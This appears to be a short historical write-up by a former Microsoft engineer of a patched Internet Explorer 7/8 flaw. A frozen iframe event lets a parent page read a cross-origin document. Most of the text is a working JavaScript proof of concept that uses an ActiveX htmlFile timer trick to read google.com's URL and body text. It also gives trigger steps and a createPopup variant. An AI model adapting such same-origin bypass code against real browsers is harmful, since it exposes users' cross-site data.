When an iframe shows a context menu or modal dialog, it freezes — and the event that caused the freeze is also frozen. At that exact moment, the cached event object of the parent window gets replaced by the frozen event from the iframe. Reading cachedEvent.srcElement.ownerDocument then gives full DOM access to the cross-origin iframe. The event type involved is undocumented.
<iframe width="780" height="140" src="http://www.google.com"></iframe>
<script language="JavaScript">
var cachedEvent;
window.onload = function()
{
cachedEvent = event;
}
function accessCachedEvent()
{
var IFrameDoc = cachedEvent.srcElement.ownerDocument;
var str = "Undocumented Event: " + cachedEvent.type + "\n\n" +
"document.URL: " + IFrameDoc.URL + "\n\n" +
"document.body.innerText:\n" + IFrameDoc.body.innerText;
alert(str);
}
// onFrozen helper: runs callBackFunction when the main thread is suspended
function onFrozen(callBackFunction)
{
onFrozen.callBackFunction = callBackFunction;
onFrozen.lastTick = onFrozen.tick = 0;
onFrozen.checkTick = function()
{
if (onFrozen.lastTick < onFrozen.tick) { onFrozen.lastTick = onFrozen.tick; }
else
{
onFrozen.thread.write();onFrozen.thread.close();
clearInterval(onFrozen.mainThreadInterval);
onFrozen.callBackFunction();
}
}
onFrozen.updateTick = function() { onFrozen.tick++; }
onFrozen.thread = new ActiveXObject("htmlFile");
onFrozen.thread.write();onFrozen.thread.close();
onFrozen.thread.parentWindow.onFrozen = onFrozen;
onFrozen.mainThreadInterval = setInterval('onFrozen.updateTick()', 100);
onFrozen.thread.parentWindow.setInterval('onFrozen.checkTick()', 300);
}
onFrozen(accessCachedEvent);
</script>
Right-click inside the Google iframe to trigger the context menu. The onFrozen callback detects the suspension and reads the frozen cross-origin event. Almost every dialog or context menu that freezes an iframe will work — showModalDialog, external.AddFavorite, and others were all confirmed. Tested on IE7/Vista and IE8/Win7.
Modal Variation
A variation using createPopup() instead of htmlFile for the secondary thread achieves the same result — useful in environments where the htmlFile ActiveX is restricted.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.